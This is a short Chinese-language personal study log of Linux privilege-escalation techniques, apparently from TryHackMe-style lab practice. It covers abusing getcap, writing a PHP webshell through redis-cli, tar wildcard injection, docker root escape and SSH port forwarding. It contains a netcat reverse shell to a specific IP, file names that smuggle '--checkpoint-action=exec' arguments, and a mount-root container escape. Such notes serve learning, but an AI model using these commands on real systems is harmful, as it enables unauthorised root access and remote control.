2023/4/23每周一记
getcap提权,redis-cli写码,docker提权,tar 备份提权
本地端口转发
ssh user@remote -L 8080:localhost:80
此时只需要访问
neo4j初始化验证账号密码时,需要关闭网页翻译插件,否则会报错
redis-cli写马
config set dir /vat/www/html //目录
config set dbfilename shell.php //文件
set test "木马" //内容
save //保存
提权
当我查看sudo -l 时
(michael) NOPASSWD: /opt/backups/backup.sh
此时的提权
echo "mkfifo /tmp/lhennp; nc 10.13.18.193 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
同时要chmod 777 shell.sh backup.tar
参考:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
提权
我再查看用户id时
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
此时创建一个新的容器
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
在这里,我们从图像 alpine 创建了一个新的 docker 容器,将根文件系统挂载到 /mnt,以交互模式启动 docker 容器,这将为我们提供一个可以使用的 shell,将根目录更改为 /mnt,最后告知删除容器退出时
提权
在这里https://tryhackme.com/room/kiba
我遇到了Capabilities
gpt的回答
在Linux系统上,Capabilities是指将root特权分成不同的权限集,使得各个权限集能够单独分配。递归列出所有Capabilities的方式如下:
执行命令getpcaps <process-id>来查看指定进程的Capability权限。
在终端输入命令man 7 capabilities以查看所有的Capability列表和详细信息。
运行命令/sbin/getcap -r /来递归地列出所有文件系统中的Capability值。
在特定的文件或目录上运行/sbin/getcap <file-path>命令来查看指定对象的Capability权限。